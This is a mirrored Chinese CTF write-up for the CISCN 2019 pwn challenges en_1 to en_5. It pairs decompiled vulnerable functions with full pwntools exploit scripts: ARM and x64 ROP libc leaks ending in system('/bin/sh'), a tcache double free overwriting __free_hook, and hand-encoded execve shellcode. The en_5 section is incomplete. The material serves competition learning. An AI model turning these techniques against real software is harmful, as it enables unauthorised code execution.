0

【WrtieUp】CISCN 2019 -- Pwn 题解

 1 year ago
source link: https://binlep.github.io/2020/03/21/%E3%80%90WrtieUp%E3%80%91CISCN%202019%20--%20Pwn%20%E9%A2%98%E8%A7%A3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

第一次使用自己写的 easyLibc 脚本,嘻嘻

华东北赛区

ciscn_2019_en_1

Description:


Solution:

程序保护如下:

Arch:     arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

漏洞好找,可以制造 rop,但是没有pop {r0, pc},所以就很恶心

main 函数如下:

signed int main_0()
{
char buf; // [sp+0h] [bp-24h]

sub_10538();
puts("your name:\n");
read(0, &buf, 0x100u);
printf("hello %s\n", &buf);
return 1;
}

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="arm", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process(['qemu-arm', '-g', '12345', '-L', '/usr/arm-linux-gnueabi', './chall'])
elif debug == 2:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './chall'])
else:
p = remote('node3.buuoj.cn', 28513)
elf = ELF('./chall', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_main = 0x10590
addr_bss = elf.bss(0x500)
rop_1 = 0x00010638 # pop {r4, r5, r6, r7, r8, sb, sl, pc}
rop_2 = 0x0001061c # ldr r3, [r5], #4 ; mov r2, sb ; mov r1, r8 ; mov r0, r7 ; blx r3
rop_3 = 0x00020f2c # -> 0x000105d8 - pop {fp, pc}

"""
gdb.attach(p, '''
target remote localhost:12345
b *0x105d8
b *0x10638
c
''')
"""

# leak libc
pd = '\x00' * 0x24
pd += p32(rop_1)
pd += p32(0xdeadbeef)
pd += p32(rop_3)
pd += p32(0xdeadbeef)
pd += p32(got_puts)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(rop_2)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(plt_puts)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_main)
p.sendafter('your name:\n', pd)
p.recvuntil('hello \n')

addr_puts = u32(p.recv(4))
success('addr_puts = ' + hex(addr_puts))
libc = easyLibc('puts', 0x05e770, 0) # libc6-armel-cross_2.23-0ubuntu3cross1_all
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

# getshell
pd = '\x00' * 0x24
pd += p32(rop_1)
pd += p32(0xdeadbeef)
pd += p32(rop_3)
pd += p32(0xdeadbeef)
pd += p32(addr_bin_sh)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(rop_2)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_system)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_main)
p.sendafter('your name:\n', pd)
p.recvuntil('hello \n')
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

动态靶机

ciscn_2019_en_2

Description:

Ubuntu 18


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init();
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

漏洞函数是加密函数:

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= '`' || s[x] > 'z' )
{
if ( s[x] <= '@' || s[x] > 'Z' )
{
if ( s[x] > '/' && s[x] <= '9' )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

漏洞很简单,gets 栈溢出,不用考虑太多直接怼就完了,会发现这加密不影响你打穿它 -.-

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 29605)
elf = ELF('./chall', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x400B28
rop_1 = 0x0000000000400c83 # pop rdi ; ret
rop_2 = 0x00000000004006b9 # ret

# gdb.attach(p, "b *0x400AEE\nc")
p.sendlineafter('Input your choice!\n', '1')
pd = 'a' * 0x58
pd += p64(rop_1)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('encrypted\n', pd)
p.recvuntil('\x83\x0c\x40\x0a')

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
# local libc6_2.23-0ubuntu11_amd64
# remote libc6_2.27-3ubuntu1_amd64
libc = easyLibc('puts', addr_puts, 2)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

p.sendlineafter('Input your choice!\n', '1')
pd = 'a' * 0x58
pd += p64(rop_2)
pd += p64(rop_1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('encrypted\n', pd)
p.recv()
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

动态靶机

ciscn_2019_en_3

Description:

Ubuntu 18


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

所以不能改 got 表,改 __free_hook 就好了

main 函数如下:

unsigned __int64 main_()
{
unsigned __int64 result; // rax
int v1; // [rsp+Ch] [rbp-44h]
char s; // [rsp+10h] [rbp-40h]
char buf; // [rsp+20h] [rbp-30h]
unsigned __int64 v4; // [rsp+48h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, &buf);
puts("Please input your ID.");
read(0, &s, 8uLL);
puts(&s);
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v1);
getchar();
switch ( (unsigned int)off_1144 )
{
case 1u:
add();
break;
case 2u:
no_use_1();
break;
case 3u:
no_use_2();
break;
case 4u:
delete();
break;
case 5u:
puts("Goodbye~");
exit(0);
return result;
default:
puts("Wrong choice!");
return __readfsqword(0x28u) ^ v4;
}
}
}

这里有格式化字符串用于泄露,还有栈地址未初始化也可以用来泄露

add 函数如下:

unsigned __int64 add()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = __readfsqword(0x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &v2);
if ( v2 < 0 && v2 > 0x50 )
exit(0);
*((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2;
v0 = dword_20204C;
qword_202068[2 * v0] = malloc(v2);
puts("please inpute the story: ");
read(0, qword_202068[2 * dword_20204C], v2);
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}

没啥好说的

delete 函数如下:

unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(qword_202068[2 * v1]);
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

存在 UAF,得到 tcache bin 里最简单的题,double free 复写 __free_hook 完事

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 28280)
elf = ELF('./chall', checksec=False)


def add(add_size, add_content):
p.sendlineafter('Input your choice:', '1')
p.sendlineafter('size of story: \n', str(add_size))
p.sendafter('the story: \n', add_content)


def delete(delete_idx):
p.sendlineafter('Input your choice:', '4')
p.sendlineafter(' index:\n', str(delete_idx))


p.sendlineafter("What's your name?\n", '%p%p')
p.recvuntil('0x')
p.recvuntil('0x')
addr_read = int(p.recv(12), 16) - 0x11

p.sendafter('Please input your ID.\n', '\x80')
addr__IO_2_1_stderr_ = u64(p.recv(6).ljust(8, '\x00'))
# libc6_2.27-3ubuntu1_amd64
libc = easyLibc('read', addr_read, 1)
libc.add_condition('_IO_2_1_stderr_', addr__IO_2_1_stderr_)
libcbase = addr_read - libc.dump('read')
addr___free_hook = libcbase + libc.dump('__free_hook')
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
addr_one_gadget = libcbase + libc_one_gadget[1]


add(0x40, 'a')
delete(0)
delete(0)
add(0x40, p64(addr___free_hook))
add(0x40, p64(addr___free_hook))
add(0x40, p64(addr_one_gadget))
delete(0)
success('addr_read = ' + hex(addr_read))
success('addr_one_gadget = ' + hex(addr_one_gadget))
# gdb.attach(p)
p.interactive()

Flag:

动态靶机

ciscn_2019_en_4

Description:

Ubuntu 18


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

可见这题估计就是堆上的 shellcode 了

menu 函数如下:

signed __int64 sub_119E()
{
puts("1.charge");
puts("2.buy");
puts("3.edit");
puts("4.show");
puts("5.exit");
puts("Your choice:");
return 1LL;
}

main 函数如下:

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rbx
int v5; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]

v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 1, 0LL);
no_use_1();
v3 = operator new(0x110uLL);
sub_DE4(v3);
v6 = v3;
qword_204088 = v3 + 12;
LABEL_2:
while ( menu() != 0 )
{
v5 = 0;
scanf("%d", &v5);
switch ( off_3040 )
{
case 1u:
(*(*v6 + 24LL))(v6); // charge
goto LABEL_2;
case 2u:
(**v6)(v6); // buy
goto LABEL_2;
case 3u:
(*(*v6 + 8LL))(v6); // edit
goto LABEL_2;
case 4u:
(*(*v6 + 16LL))(v6); // show
goto LABEL_2;
case 5u:
return 1LL;
default:
goto LABEL_2;
}
}
return 0LL;
}

show 函数如下:

unsigned __int64 __fastcall show(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which Weapon do you want to show?");
scanf("%d", &v2);
printf("Weapon name is:%s\n", a1 + 12LL * v2 + 12);
return __readfsqword(0x28u) ^ v3;
}

数组随意越界,原地址是堆上面的,因此可以泄露堆上面的值

edit 函数如下:

unsigned __int64 __fastcall edit(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-24h]
__int64 buf; // [rsp+20h] [rbp-20h]
__int16 v4; // [rsp+28h] [rbp-18h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("change Weapon id:");
v2 = 0;
scanf("%d", &v2);
printf("new Name:");
buf = 0LL;
v4 = 0;
read(0, &buf, 10uLL);
*(a1 + 12LL * v2 + 12) = buf;
return __readfsqword(0x28u) ^ v5;
}

依旧是数组越界,但是只能读入 10 个字节,然而写 shellcode 的时候发现只能读 8 个,也不知道为啥

buy 函数如下:

unsigned __int64 __fastcall buy(__int64 a1)
{
__int64 buf; // [rsp+10h] [rbp-20h]
__int16 v3; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( *(a1 + 0x100) > 9uLL && *(a1 + 8) <= 10 )
{
printf("input WeaponName:");
buf = 0LL;
v3 = 0;
read(0, &buf, 0xAuLL);
*(a1 + 12LL * *(a1 + 8) + 12) = buf;
*(a1 + 12LL * *(a1 + 8) + 20) = *(a1 + 8);
++*(a1 + 8);
*(a1 + 0x100) -= 10LL;
}
else
{
puts("not enough money");
}
return __readfsqword(0x28u) ^ v4;
}

这个函数能够搭起 shellcode 一开始的跳点

一开始的 if 语句里表明先有钱才能写入东西,钱从 charge 函数里面生成

charge 函数如下:

unsigned __int64 __fastcall charge(__int64 a1)
{
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
__int64 v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+28h] [rbp-18h]
__int16 v6; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
if ( *(a1 + 264) != 1 )
{
puts("Money makes you stronger:");
buf = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0;
v6 = 0;
read(0, &buf, 0x1EuLL);
*(a1 + 0x100) = strtoll(&buf, 0LL, 10);
if ( *(a1 + 256) < 0 )
*(a1 + 256) = -*(a1 + 256);
if ( *(a1 + 256) > 30LL )
*(a1 + 256) = 30LL;
*(a1 + 264) = 1;
}
return __readfsqword(0x28u) ^ v7;
}

这就是用来输个 30 就可以不用管的函数,给 buy 函数做铺垫用的

解题思路:

依靠 show 函数泄露堆上的值,在 -1 的时候可以发现这个值刚好为程序内部地址

程序是靠这个地址来寻找 menu 里面的 5 个函数的,所以我们可以在之后用 edit 函数把这个地址换掉,来执行其他的函数

观察 main 函数可以发现这样一句代码:qword_204088 = v3 + 12;

这个 bss 段的地址保存了堆地址,还正好能对应上在 buy 函数中输入的数值所存的地址

所以我们可以把程序改到 mainbase + 0x204070 处来达到改变执行函数的目的,之后用 jmp short 做跳板执行 shellcode 就完了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 29206)
elf = ELF('./chall', checksec=False)


def charge(charge_size):
p.sendlineafter('Your choice:\n', '1')
p.sendafter(' stronger:\n', str(charge_size))


def buy(buy_content):
p.sendlineafter('Your choice:\n', '2')
p.sendafter(' WeaponName:', str(buy_content))


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice:\n', '3')
p.sendlineafter('change Weapon id:', str(edit_idx))
p.sendafter('new Name:', edit_content)


def show(show_idx):
p.sendlineafter('Your choice:\n', '4')
p.sendlineafter('to show?\n', str(show_idx))
p.recvuntil('Weapon name is:')


charge(30)
buy('\xeb\x00')
edit(0, '\x48\x31\xc0\xeb\x07') # xor rax, rax
edit(1, '\xb8\x3b\x00\x00\x00\x90\xeb\x04') # mov eax, 0x3b
edit(2, '\xbf\x2f\x73\x68\x00\x90\xeb\x04') # mov edi, 0x0068732f
edit(3, '\x48\xc1\xe7\x10\x90\x90\xeb\x04') # shl rdi, 16
edit(4, '\x66\x81\xc7\x69\x6e\x90\xeb\x04') # add di, 0x6e69
edit(5, '\x48\xc1\xe7\x10\x90\x90\xeb\x04') # shl rdi, 16
edit(6, '\x66\x81\xc7\x2f\x62\x90\xeb\x04') # add di, 0x622f
edit(7, '\x57\x48\x89\xe7\x90\x90\xeb\x04') # push rdi; mov rdi, rsp
edit(8, '\x48\x31\xf6\x48\x31\xd2\x0f\x05') # xor rsi, rsi; xor rdx, rdx; syscall
show(-1)
mainbase = u64(p.recv(6).ljust(8, '\x00')) - 0x203DB8
edit(-1, p64(mainbase + 0x204070))
# gdb.attach(p, 'b *$rebase(0x12e7)\nc')
p.sendlineafter('Your choice:\n', '1')
success('mainbase = ' + hex(mainbase))
p.interactive()

Flag:

动态靶机

ciscn_2019_en_5

Description:

Ubuntu 18


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
for i in range(0, 10):
add(0x108, 'a')
for i in range(3, 10):
delete(i)
for i in range(0, 3):
delete(i)

构造 unsorted bin 大小如下:

0x562a2e2fe2e0 PREV_INUSE {
mchunk_prev_size = 0x0,
mchunk_size = 0x361,
fd = 0x7f941d204ca0,
bk = 0x7f941d204ca0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
for i in range(0, 10):
add(0x108, 'a')
for i in range(3, 10):
delete(i)
for i in range(0, 3):
delete(i)
add(0xf8 - 15, 'a')
`

覆盖掉 unsorted bin 的 size 部分

0x5631ad75d2e0 PREV_INUSE {
mchunk_prev_size = 0x0,
mchunk_size = 0x101,
fd = 0x61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x5631ad75d3e0 {
mchunk_prev_size = 0x0,
mchunk_size = 0x200,
fd = 0x7f7f3970fca0,
bk = 0x7f7f3970fca0,
fd_nextsize = 0x120,
bk_nextsize = 0x120,
}

exp 如下:


Flag:

动态靶机

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK